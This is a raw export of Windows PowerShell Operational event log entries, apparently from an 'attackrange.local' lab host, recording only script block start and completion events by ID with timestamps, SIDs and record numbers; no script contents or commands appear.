SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037734
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037733
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037731
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037730
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037713
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037707
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
